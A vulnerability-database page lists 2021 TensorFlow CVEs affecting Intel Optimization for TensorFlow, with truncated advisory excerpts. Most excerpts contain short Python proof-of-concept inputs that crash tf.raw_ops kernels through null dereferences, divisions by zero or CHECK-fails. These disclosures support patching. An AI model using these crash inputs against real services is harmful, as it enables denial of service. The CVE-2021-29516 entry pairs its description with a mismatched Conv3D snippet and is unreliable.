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Intel Optimization For Tensorflow vulnerabilities

429 known vulnerabilities affecting intel/optimization_for_tensorflow.

Total CVEs
429
CISA KEV
0
Public exploits
0
Exploited in wild
0
Severity breakdown
CRITICAL5HIGH121MEDIUM200LOW103

Vulnerabilities

Page 21 of 22
CVE-2021-29516P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29516 [LOW] CWE-476 Null pointer dereference via invalid Ragged Tensors Null pointer dereference via invalid Ragged Tensors ### Impact Calling `tf.raw_ops.RaggedTensorToVariant` with arguments specifying an invalid ragged tensor results in a null pointer dereference: ```python import tensorflow as tf input_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32) filter_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32) tf.raw_ops.Conv3D(input=input_tensor, fi
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CVE-2021-29565P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29565 [LOW] CWE-476 Null pointer dereference in `SparseFillEmptyRows` Null pointer dereference in `SparseFillEmptyRows` ### Impact An attacker can trigger a null pointer dereference in the implementation of `tf.raw_ops.SparseFillEmptyRows`: ```python import tensorflow as tf indices = tf.constant([], shape=[0, 0], dtype=tf.int64) values = tf.constant([], shape=[0], dtype=tf.int64) dense_shape = tf.constant([], shape=[0], dtype=tf.int64) default_value = 0 tf.raw_ops.SparseFillEmptyRow
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CVE-2021-29528P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29528 [LOW] CWE-369 Division by 0 in `QuantizedMul` Division by 0 in `QuantizedMul` ### Impact An attacker can trigger a division by 0 in `tf.raw_ops.QuantizedMul`: ```python import tensorflow as tf x = tf.zeros([4, 1], dtype=tf.quint8) y = tf.constant([], dtype=tf.quint8) min_x = tf.constant(0.0) max_x = tf.constant(0.0010000000474974513) min_y = tf.constant(0.0) max_y = tf.constant(0.0010000000474974513) tf.raw_ops.QuantizedMul(x=x, y=y, min_x=min_x, max_x=max_x, min_y=min_y, max_
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CVE-2021-29564P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29564 [LOW] CWE-476 Null pointer dereference in `EditDistance` Null pointer dereference in `EditDistance` ### Impact An attacker can trigger a null pointer dereference in the implementation of `tf.raw_ops.EditDistance`: ```python import tensorflow as tf hypothesis_indices = tf.constant([247, 247, 247], shape=[1, 3], dtype=tf.int64) hypothesis_values = tf.constant([-9.9999], shape=[1], dtype=tf.float32) hypothesis_shape = tf.constant([0, 0, 0], shape=[3], dtype=tf.int64) truth_indices
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CVE-2021-29572P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29572 [LOW] CWE-476 Reference binding to nullptr in `SdcaOptimizer` Reference binding to nullptr in `SdcaOptimizer` ### Impact The implementation of `tf.raw_ops.SdcaOptimizer` triggers undefined behavior due to dereferencing a null pointer: ```python import tensorflow as tf sparse_example_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)] sparse_feature_indices = [tf.constant([], shape=[0, 0, 0, 0], dtype=tf.int64), tf.constant((0), dtype=tf.int64)] sparse
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CVE-2021-29534P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29534 [LOW] CWE-754 CHECK-fail in SparseConcat CHECK-fail in SparseConcat ### Impact An attacker can trigger a denial of service via a `CHECK`-fail in `tf.raw_ops.SparseConcat`: ```python import tensorflow as tf import numpy as np indices_1 = tf.constant([[514, 514], [514, 514]], dtype=tf.int64) indices_2 = tf.constant([[514, 530], [599, 877]], dtype=tf.int64) indices = [indices_1, indices_2] values_1 = tf.zeros([0], dtype=tf.int64) values_2 = tf.zeros([0], dtype=tf.int64) values =
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CVE-2021-29556P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29556 [LOW] CWE-369 Division by 0 in `Reverse` Division by 0 in `Reverse` ### Impact An attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.Reverse`: ```python import tensorflow as tf tensor_input = tf.constant([], shape=[0, 1, 1], dtype=tf.int32) dims = tf.constant([False, True, False], shape=[3], dtype=tf.bool) tf.raw_ops.Reverse(tensor=tensor_input, dims=dims) ``` This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/36229ea
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CVE-2021-29552P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29552 [LOW] CWE-617 CHECK-failure in `UnsortedSegmentJoin` CHECK-failure in `UnsortedSegmentJoin` ### Impact An attacker can cause a denial of service by controlling the values of `num_segments` tensor argument for `UnsortedSegmentJoin`: ```python import tensorflow as tf inputs = tf.constant([], dtype=tf.string) segment_ids = tf.constant([], dtype=tf.int32) num_segments = tf.constant([], dtype=tf.int32) separator = '' tf.raw_ops.UnsortedSegmentJoin( inputs=inputs, segment_ids=segmen
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CVE-2021-29557P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29557 [LOW] CWE-369 Division by 0 in `SparseMatMul` Division by 0 in `SparseMatMul` ### Impact An attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.SparseMatMul`: ```python import tensorflow as tf a = tf.constant([100.0, 100.0, 100.0, 100.0], shape=[2, 2], dtype=tf.float32) b = tf.constant([], shape=[0, 2], dtype=tf.float32) tf.raw_ops.SparseMatMul( a=a, b=b, transpose_a=True, transpose_b=True, a_is_sparse=True, b_is_sparse=True) ``` The division by 0 oc
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CVE-2021-29584P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29584 [LOW] CWE-190 CHECK-fail due to integer overflow CHECK-fail due to integer overflow ### Impact An attacker can trigger a denial of service via a `CHECK`-fail in caused by an integer overflow in constructing a new tensor shape: ```python import tensorflow as tf input_layer = 2**60-1 sparse_data = tf.raw_ops.SparseSplit( split_dim=1, indices=[(0, 0), (0, 1), (0, 2), (4, 3), (5, 0), (5, 1)], values=[1.0, 1.0, 1.0, 1.0, 1.0, 1.0], shape=(input_layer, input_layer), num_split=2, name
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CVE-2021-29527P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29527 [LOW] CWE-369 Division by 0 in `QuantizedConv2D` Division by 0 in `QuantizedConv2D` ### Impact An attacker can trigger a division by 0 in `tf.raw_ops.QuantizedConv2D`: ```python import tensorflow as tf input = tf.zeros([1, 1, 1, 1], dtype=tf.quint8) filter = tf.constant([], shape=[1, 0, 1, 1], dtype=tf.quint8) min_input = tf.constant(0.0) max_input = tf.constant(0.0001) min_filter = tf.constant(0.0) max_filter = tf.constant(0.0001) strides = [1, 1, 1, 1] padding = "SAME" tf.r
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CVE-2021-29524P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29524 [LOW] CWE-369 Division by 0 in `Conv2DBackpropFilter` Division by 0 in `Conv2DBackpropFilter` ### Impact An attacker can trigger a division by 0 in `tf.raw_ops.Conv2DBackpropFilter`: ```python import tensorflow as tf input_tensor = tf.constant([], shape=[0, 0, 1, 0], dtype=tf.float32) filter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32) out_backprop = tf.constant([], shape=[0, 0, 1, 1], dtype=tf.float32) tf.raw_ops.Conv2DBackpropFilter(input=input_tensor, filter
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CVE-2021-29523P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29523 [LOW] CWE-190 CHECK-fail in AddManySparseToTensorsMap CHECK-fail in AddManySparseToTensorsMap ### Impact An attacker can trigger a denial of service via a `CHECK`-fail in `tf.raw_ops.AddManySparseToTensorsMap`: ```python import tensorflow as tf import numpy as np sparse_indices = tf.constant(530, shape=[1, 1], dtype=tf.int64) sparse_values = tf.ones([1], dtype=tf.int64) shape = tf.Variable(tf.ones([55], dtype=tf.int64)) shape[:8].assign(np.array([855, 901, 429, 892, 892, 852,
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CVE-2021-41215P4MEDIUM≥ 2.6.0, < 2.6.1≥ 2.5.0, < 2.5.2+1 more2021-11-10
CVE-2021-41215 [MEDIUM] CWE-476 Null pointer exception in `DeserializeSparse` Null pointer exception in `DeserializeSparse` ### Impact The [shape inference code for `DeserializeSparse`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/sparse_ops.cc#L152-L168) can trigger a null pointer dereference: ```python import tensorflow as tf dataset = tf.data.Dataset.range(3) @tf.function def test(): y = tf.raw_ops.DeserializeSparse( serialized
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CVE-2021-37689P4HIGH≥ 0, < 2.3.4≥ 2.4.0, < 2.4.3+1 more2021-08-25
CVE-2021-37689 [HIGH] CWE-476 Null pointer dereference in TFLite MLIR optimizations Null pointer dereference in TFLite MLIR optimizations ### Impact An attacker can craft a TFLite model that would trigger a null pointer dereference, which would result in a crash and denial of service: This is caused by the MLIR optimization of `L2NormalizeReduceAxis` operator. The [implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/compiler/mlir/li
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CVE-2021-37688P4HIGH≥ 0, < 2.3.4≥ 2.4.0, < 2.4.3+1 more2021-08-25
CVE-2021-37688 [HIGH] CWE-476 Null pointer dereference in TFLite Null pointer dereference in TFLite ### Impact An attacker can craft a TFLite model that would trigger a null pointer dereference, which would result in a crash and denial of service: ```python import tensorflow as tf model = tf.keras.models.Sequential() model.add(tf.keras.Input(shape=(1, 2, 3))) model.add(tf.keras.layers.Dense(0, activation='relu')) converter = tf.lite.TFLiteConverter.from_keras_model(model) tflite_model = conv
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CVE-2021-37637P4HIGH≥ 0, < 2.3.4≥ 2.4.0, < 2.4.3+1 more2021-08-25
CVE-2021-37637 [HIGH] CWE-476 Null pointer dereference in `CompressElement` Null pointer dereference in `CompressElement` ### Impact It is possible to trigger a null pointer dereference in TensorFlow by passing an invalid input to `tf.raw_ops.CompressElement`: ```python import tensorflow as tf tf.raw_ops.CompressElement(components=[[]]) ``` The [implementation](https://github.com/tensorflow/tensorflow/blob/47a06f40411a69c99f381495f490536972152ac0/tensorflow/core/data/compression_utils.cc#L34
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CVE-2021-37647P4HIGH≥ 0, < 2.3.4≥ 2.4.0, < 2.4.3+1 more2021-08-25
CVE-2021-37647 [HIGH] CWE-476 Null pointer dereference in `SparseTensorSliceDataset` Null pointer dereference in `SparseTensorSliceDataset` ### Impact When a user does not supply arguments that determine a valid sparse tensor, `tf.raw_ops.SparseTensorSliceDataset` implementation can be made to dereference a null pointer: ```python import tensorflow as tf tf.raw_ops.SparseTensorSliceDataset( indices=[[],[],[]], values=[1,2,3], dense_shape=[3,3]) ``` The [implementation](https://github.com/ten
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CVE-2021-37642P4MEDIUM≥ 0, < 2.3.4≥ 2.4.0, < 2.4.3+1 more2021-08-25
CVE-2021-37642 [MEDIUM] CWE-369 Division by 0 in `ResourceScatterDiv` Division by 0 in `ResourceScatterDiv` ### Impact The implementation of `tf.raw_ops.ResourceScatterDiv` is vulnerable to a division by 0 error: ```python import tensorflow as tf v= tf.Variable([1,2,3]) tf.raw_ops.ResourceScatterDiv( resource=v.handle, indices=[1], updates=[0]) ``` The [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/resource_vari
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CVE-2021-37636P4MEDIUM≥ 0, < 2.3.4≥ 2.4.0, < 2.4.3+1 more2021-08-25
CVE-2021-37636 [MEDIUM] CWE-369 Floating point exception in `SparseDenseCwiseDiv` Floating point exception in `SparseDenseCwiseDiv` ### Impact The implementation of `tf.raw_ops.SparseDenseCwiseDiv` is vulnerable to a division by 0 error: ```python import tensorflow as tf import numpy as np tf.raw_ops.SparseDenseCwiseDiv( sp_indices=np.array([[4]]), sp_values=np.array([-400]), sp_shape=np.array([647.]), dense=np.array([0])) ``` The [implementation](https://github.com/tensorflow/tensorflow/blo
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Intel Optimization For Tensorflow vulnerabilities | cvebase